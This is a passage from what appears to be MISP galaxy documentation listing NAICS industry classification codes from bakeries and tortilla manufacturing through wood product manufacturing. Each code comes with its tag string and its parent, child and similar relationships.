3118

Bakeries and Tortilla Manufacturing

The tag is: *misp-galaxy:naics="3118"*

View relationships graph

3118 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31181" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311813" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="31182" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311824" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31183" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311830" with estimative-language:likelihood-probability="likely"

31181

Bread and Bakery Product Manufacturing

The tag is: *misp-galaxy:naics="31181"*

View relationships graph

31181 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311811

Retail Bakeries

The tag is: *misp-galaxy:naics="311811"*

View relationships graph

311811 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311812

Commercial Bakeries

The tag is: *misp-galaxy:naics="311812"*

View relationships graph

311812 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311813

Frozen Cakes, Pies, and Other Pastries Manufacturing

The tag is: *misp-galaxy:naics="311813"*

View relationships graph

311813 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

31182

Cookie, Cracker, and Pasta Manufacturing

The tag is: *misp-galaxy:naics="31182"*

View relationships graph

31182 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311821

Cookie and Cracker Manufacturing

The tag is: *misp-galaxy:naics="311821"*

View relationships graph

311821 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311824

Dry Pasta, Dough, and Flour Mixes Manufacturing from Purchased Flour

The tag is: *misp-galaxy:naics="311824"*

View relationships graph

311824 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

31183

Tortilla Manufacturing

The tag is: *misp-galaxy:naics="31183"*

View relationships graph

31183 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311830" with estimative-language:likelihood-probability="likely"

311830

Tortilla Manufacturing

The tag is: *misp-galaxy:naics="311830"*

View relationships graph

311830 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31183" with estimative-language:likelihood-probability="likely"

3119

Other Food Manufacturing

The tag is: *misp-galaxy:naics="3119"*

View relationships graph

3119 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311919" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31193" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31194" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311942" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311999" with estimative-language:likelihood-probability="likely"

31191

Snack Food Manufacturing

The tag is: *misp-galaxy:naics="31191"*

View relationships graph

31191 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311911

Roasted Nuts and Peanut Butter Manufacturing

The tag is: *misp-galaxy:naics="311911"*

View relationships graph

311911 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311919

Other Snack Food Manufacturing

The tag is: *misp-galaxy:naics="311919"*

View relationships graph

311919 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

31192

Coffee and Tea Manufacturing

The tag is: *misp-galaxy:naics="31192"*

View relationships graph

31192 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311920" with estimative-language:likelihood-probability="likely"

311920

Coffee and Tea Manufacturing

The tag is: *misp-galaxy:naics="311920"*

View relationships graph

311920 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31192" with estimative-language:likelihood-probability="likely"

31193

Flavoring Syrup and Concentrate Manufacturing

The tag is: *misp-galaxy:naics="31193"*

View relationships graph

31193 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311930" with estimative-language:likelihood-probability="likely"

311930

Flavoring Syrup and Concentrate Manufacturing

The tag is: *misp-galaxy:naics="311930"*

View relationships graph

311930 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31193" with estimative-language:likelihood-probability="likely"

31194

Seasoning and Dressing Manufacturing

The tag is: *misp-galaxy:naics="31194"*

View relationships graph

31194 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311941

Mayonnaise, Dressing, and Other Prepared Sauce Manufacturing

The tag is: *misp-galaxy:naics="311941"*

View relationships graph

311941 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311942

Spice and Extract Manufacturing

The tag is: *misp-galaxy:naics="311942"*

View relationships graph

311942 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

31199

All Other Food Manufacturing

The tag is: *misp-galaxy:naics="31199"*

View relationships graph

31199 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311991

Perishable Prepared Food Manufacturing

The tag is: *misp-galaxy:naics="311991"*

View relationships graph

311991 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311999

All Other Miscellaneous Food Manufacturing

The tag is: *misp-galaxy:naics="311999"*

View relationships graph

311999 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

312

Beverage and Tobacco Product Manufacturing

The tag is: *misp-galaxy:naics="312"*

View relationships graph

312 has relationships with:

- parent-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3122" with estimative-language:likelihood-probability="likely"

3121

Beverage Manufacturing

The tag is: *misp-galaxy:naics="3121"*

View relationships graph

3121 has relationships with:

- child-of: misp-galaxy:naics="312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31214" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="312140" with estimative-language:likelihood-probability="likely"

31211

Soft Drink and Ice Manufacturing

The tag is: *misp-galaxy:naics="31211"*

View relationships graph

31211 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312111

Soft Drink Manufacturing

The tag is: *misp-galaxy:naics="312111"*

View relationships graph

312111 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312112

Bottled Water Manufacturing

The tag is: *misp-galaxy:naics="312112"*

View relationships graph

312112 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312113

Ice Manufacturing

The tag is: *misp-galaxy:naics="312113"*

View relationships graph

312113 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

31212

Breweries

The tag is: *misp-galaxy:naics="31212"*

View relationships graph

31212 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="312120" with estimative-language:likelihood-probability="likely"

312120

Breweries

The tag is: *misp-galaxy:naics="312120"*

View relationships graph

312120 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31212" with estimative-language:likelihood-probability="likely"

31213

Wineries

The tag is: *misp-galaxy:naics="31213"*

View relationships graph

31213 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="312130" with estimative-language:likelihood-probability="likely"

312130

Wineries

The tag is: *misp-galaxy:naics="312130"*

View relationships graph

312130 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31213" with estimative-language:likelihood-probability="likely"

31214

Distilleries

The tag is: *misp-galaxy:naics="31214"*

View relationships graph

31214 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="312140" with estimative-language:likelihood-probability="likely"

312140

Distilleries

The tag is: *misp-galaxy:naics="312140"*

View relationships graph

312140 has relationships with:

- child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31214" with estimative-language:likelihood-probability="likely"

3122

Tobacco Manufacturing

The tag is: *misp-galaxy:naics="3122"*

View relationships graph

3122 has relationships with:

- child-of: misp-galaxy:naics="312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="312230" with estimative-language:likelihood-probability="likely"

31223

Tobacco Manufacturing

The tag is: *misp-galaxy:naics="31223"*

View relationships graph

31223 has relationships with:

- child-of: misp-galaxy:naics="3122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="312230" with estimative-language:likelihood-probability="likely"

312230

Tobacco Manufacturing

The tag is: *misp-galaxy:naics="312230"*

View relationships graph

312230 has relationships with:

- child-of: misp-galaxy:naics="3122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31223" with estimative-language:likelihood-probability="likely"

313

Textile Mills

The tag is: *misp-galaxy:naics="313"*

View relationships graph

313 has relationships with:

- parent-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"

3131

Fiber, Yarn, and Thread Mills

The tag is: *misp-galaxy:naics="3131"*

View relationships graph

3131 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313110" with estimative-language:likelihood-probability="likely"

31311

Fiber, Yarn, and Thread Mills

The tag is: *misp-galaxy:naics="31311"*

View relationships graph

31311 has relationships with:

- child-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313110" with estimative-language:likelihood-probability="likely"

313110

Fiber, Yarn, and Thread Mills

The tag is: *misp-galaxy:naics="313110"*

View relationships graph

313110 has relationships with:

- child-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31311" with estimative-language:likelihood-probability="likely"

3132

Fabric Mills

The tag is: *misp-galaxy:naics="3132"*

View relationships graph

3132 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313240" with estimative-language:likelihood-probability="likely"

31321

Broadwoven Fabric Mills

The tag is: *misp-galaxy:naics="31321"*

View relationships graph

31321 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313210" with estimative-language:likelihood-probability="likely"

313210

Broadwoven Fabric Mills

The tag is: *misp-galaxy:naics="313210"*

View relationships graph

313210 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31321" with estimative-language:likelihood-probability="likely"

31322

Narrow Fabric Mills and Schiffli Machine Embroidery

The tag is: *misp-galaxy:naics="31322"*

View relationships graph

31322 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313220" with estimative-language:likelihood-probability="likely"

313220

Narrow Fabric Mills and Schiffli Machine Embroidery

The tag is: *misp-galaxy:naics="313220"*

View relationships graph

313220 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31322" with estimative-language:likelihood-probability="likely"

31323

Nonwoven Fabric Mills

The tag is: *misp-galaxy:naics="31323"*

View relationships graph

31323 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313230" with estimative-language:likelihood-probability="likely"

313230

Nonwoven Fabric Mills

The tag is: *misp-galaxy:naics="313230"*

View relationships graph

313230 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31323" with estimative-language:likelihood-probability="likely"

31324

Knit Fabric Mills

The tag is: *misp-galaxy:naics="31324"*

View relationships graph

31324 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313240" with estimative-language:likelihood-probability="likely"

313240

Knit Fabric Mills

The tag is: *misp-galaxy:naics="313240"*

View relationships graph

313240 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31324" with estimative-language:likelihood-probability="likely"

3133

Textile and Fabric Finishing and Fabric Coating Mills

The tag is: *misp-galaxy:naics="3133"*

View relationships graph

3133 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313320" with estimative-language:likelihood-probability="likely"

31331

Textile and Fabric Finishing Mills

The tag is: *misp-galaxy:naics="31331"*

View relationships graph

31331 has relationships with:

- child-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313310" with estimative-language:likelihood-probability="likely"

313310

Textile and Fabric Finishing Mills

The tag is: *misp-galaxy:naics="313310"*

View relationships graph

313310 has relationships with:

- child-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="31331" with estimative-language:likelihood-probability="likely"

31332

Fabric Coating Mills

The tag is: *misp-galaxy:naics="31332"*

View relationships graph

31332 has relationships with:

- child-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313320" with estimative-language:likelihood-probability="likely"

313320

Fabric Coating Mills

The tag is: *misp-galaxy:naics="313320"*

View relationships graph

313320 has relationships with:

- child-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31332" with estimative-language:likelihood-probability="likely"

314

Textile Product Mills

The tag is: *misp-galaxy:naics="314"*

View relationships graph

314 has relationships with:

- parent-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"

3141

Textile Furnishings Mills

The tag is: *misp-galaxy:naics="3141"*

View relationships graph

3141 has relationships with:

- child-of: misp-galaxy:naics="314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314120" with estimative-language:likelihood-probability="likely"

31411

Carpet and Rug Mills

The tag is: *misp-galaxy:naics="31411"*

View relationships graph

31411 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314110" with estimative-language:likelihood-probability="likely"

314110

Carpet and Rug Mills

The tag is: *misp-galaxy:naics="314110"*

View relationships graph

314110 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31411" with estimative-language:likelihood-probability="likely"

31412

Curtain and Linen Mills

The tag is: *misp-galaxy:naics="31412"*

View relationships graph

31412 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314120" with estimative-language:likelihood-probability="likely"

314120

Curtain and Linen Mills

The tag is: *misp-galaxy:naics="314120"*

View relationships graph

314120 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31412" with estimative-language:likelihood-probability="likely"

3149

Other Textile Product Mills

The tag is: *misp-galaxy:naics="3149"*

View relationships graph

3149 has relationships with:

- child-of: misp-galaxy:naics="314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314999" with estimative-language:likelihood-probability="likely"

31491

Textile Bag and Canvas Mills

The tag is: *misp-galaxy:naics="31491"*

View relationships graph

31491 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314910" with estimative-language:likelihood-probability="likely"

314910

Textile Bag and Canvas Mills

The tag is: *misp-galaxy:naics="314910"*

View relationships graph

314910 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31491" with estimative-language:likelihood-probability="likely"

31499

All Other Textile Product Mills

The tag is: *misp-galaxy:naics="31499"*

View relationships graph

31499 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"

314994

Rope, Cordage, Twine, Tire Cord, and Tire Fabric Mills

The tag is: *misp-galaxy:naics="314994"*

View relationships graph

314994 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"

314999

All Other Miscellaneous Textile Product Mills

The tag is: *misp-galaxy:naics="314999"*

View relationships graph

314999 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"

315

Apparel Manufacturing

The tag is: *misp-galaxy:naics="315"*

View relationships graph

315 has relationships with:

- parent-of: misp-galaxy:naics="3151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3159" with estimative-language:likelihood-probability="likely"

3151

Apparel Knitting Mills

The tag is: *misp-galaxy:naics="3151"*

View relationships graph

3151 has relationships with:

- child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="315120" with estimative-language:likelihood-probability="likely"

31512

Apparel Knitting Mills

The tag is: *misp-galaxy:naics="31512"*

View relationships graph

31512 has relationships with:

- child-of: misp-galaxy:naics="3151" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="315120" with estimative-language:likelihood-probability="likely"

315120

Apparel Knitting Mills

The tag is: *misp-galaxy:naics="315120"*

View relationships graph

315120 has relationships with:

- child-of: misp-galaxy:naics="3151" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31512" with estimative-language:likelihood-probability="likely"

3152

Cut and Sew Apparel Manufacturing

The tag is: *misp-galaxy:naics="3152"*

View relationships graph

3152 has relationships with:

- child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="315210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31525" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="315250" with estimative-language:likelihood-probability="likely"

31521

Cut and Sew Apparel Contractors

The tag is: *misp-galaxy:naics="31521"*

View relationships graph

31521 has relationships with:

- child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="315210" with estimative-language:likelihood-probability="likely"

315210

Cut and Sew Apparel Contractors

The tag is: *misp-galaxy:naics="315210"*

View relationships graph

315210 has relationships with:

- child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31521" with estimative-language:likelihood-probability="likely"

31525

Cut and Sew Apparel Manufacturing (except Contractors)

The tag is: *misp-galaxy:naics="31525"*

View relationships graph

31525 has relationships with:

- child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="315250" with estimative-language:likelihood-probability="likely"

315250

Cut and Sew Apparel Manufacturing (except Contractors)

The tag is: *misp-galaxy:naics="315250"*

View relationships graph

315250 has relationships with:

- child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31525" with estimative-language:likelihood-probability="likely"

3159

Apparel Accessories and Other Apparel Manufacturing

The tag is: *misp-galaxy:naics="3159"*

View relationships graph

3159 has relationships with:

- child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="315990" with estimative-language:likelihood-probability="likely"

31599

Apparel Accessories and Other Apparel Manufacturing

The tag is: *misp-galaxy:naics="31599"*

View relationships graph

31599 has relationships with:

- child-of: misp-galaxy:naics="3159" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="315990" with estimative-language:likelihood-probability="likely"

315990

Apparel Accessories and Other Apparel Manufacturing

The tag is: *misp-galaxy:naics="315990"*

View relationships graph

315990 has relationships with:

- child-of: misp-galaxy:naics="3159" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31599" with estimative-language:likelihood-probability="likely"

316

Leather and Allied Product Manufacturing

The tag is: *misp-galaxy:naics="316"*

View relationships graph

316 has relationships with:

- parent-of: misp-galaxy:naics="3161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"

3161

Leather and Hide Tanning and Finishing

The tag is: *misp-galaxy:naics="3161"*

View relationships graph

3161 has relationships with:

- child-of: misp-galaxy:naics="316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="316110" with estimative-language:likelihood-probability="likely"

31611

Leather and Hide Tanning and Finishing

The tag is: *misp-galaxy:naics="31611"*

View relationships graph

31611 has relationships with:

- child-of: misp-galaxy:naics="3161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="316110" with estimative-language:likelihood-probability="likely"

316110

Leather and Hide Tanning and Finishing

The tag is: *misp-galaxy:naics="316110"*

View relationships graph

316110 has relationships with:

- child-of: misp-galaxy:naics="3161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31611" with estimative-language:likelihood-probability="likely"

3162

Footwear Manufacturing

The tag is: *misp-galaxy:naics="3162"*

View relationships graph

3162 has relationships with:

- child-of: misp-galaxy:naics="316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="316210" with estimative-language:likelihood-probability="likely"

31621

Footwear Manufacturing

The tag is: *misp-galaxy:naics="31621"*

View relationships graph

31621 has relationships with:

- child-of: misp-galaxy:naics="3162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="316210" with estimative-language:likelihood-probability="likely"

316210

Footwear Manufacturing

The tag is: *misp-galaxy:naics="316210"*

View relationships graph

316210 has relationships with:

- child-of: misp-galaxy:naics="3162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31621" with estimative-language:likelihood-probability="likely"

3169

Other Leather and Allied Product Manufacturing

The tag is: *misp-galaxy:naics="3169"*

View relationships graph

3169 has relationships with:

- child-of: misp-galaxy:naics="316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31699" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="316990" with estimative-language:likelihood-probability="likely"

31699

Other Leather and Allied Product Manufacturing

The tag is: *misp-galaxy:naics="31699"*

View relationships graph

31699 has relationships with:

- child-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="316990" with estimative-language:likelihood-probability="likely"

316990

Other Leather and Allied Product Manufacturing

The tag is: *misp-galaxy:naics="316990"*

View relationships graph

316990 has relationships with:

- child-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31699" with estimative-language:likelihood-probability="likely"

321

Wood Product Manufacturing

The tag is: *misp-galaxy:naics="321"*

View relationships graph

321 has relationships with:

- parent-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

3211

Sawmills and Wood Preservation

The tag is: *misp-galaxy:naics="3211"*

View relationships graph

3211 has relationships with:

- child-of: misp-galaxy:naics="321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321114" with estimative-language:likelihood-probability="likely"

32111

Sawmills and Wood Preservation

The tag is: *misp-galaxy:naics="32111"*

View relationships graph

32111 has relationships with:

- child-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"

321113

Sawmills

The tag is: *misp-galaxy:naics="321113"*

View relationships graph

321113 has relationships with:

- child-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"

321114

Wood Preservation

The tag is: *misp-galaxy:naics="321114"*

View relationships graph

321114 has relationships with:

- child-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"

3212

Veneer, Plywood, and Engineered Wood Product Manufacturing

The tag is: *misp-galaxy:naics="3212"*

View relationships graph

3212 has relationships with:

- child-of: misp-galaxy:naics="321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321215" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321219" with estimative-language:likelihood-probability="likely"

32121

Veneer, Plywood, and Engineered Wood Product Manufacturing

The tag is: *misp-galaxy:naics="32121"*

View relationships graph

32121 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321211

Hardwood Veneer and Plywood Manufacturing

The tag is: *misp-galaxy:naics="321211"*

View relationships graph

321211 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321212

Softwood Veneer and Plywood Manufacturing

The tag is: *misp-galaxy:naics="321212"*

View relationships graph

321212 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321215

Engineered Wood Member Manufacturing

The tag is: *misp-galaxy:naics="321215"*

View relationships graph

321215 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321219

Reconstituted Wood Product Manufacturing

The tag is: *misp-galaxy:naics="321219"*

View relationships graph

321219 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

3219

Other Wood Product Manufacturing

The tag is: *misp-galaxy:naics="3219"*

View relationships graph

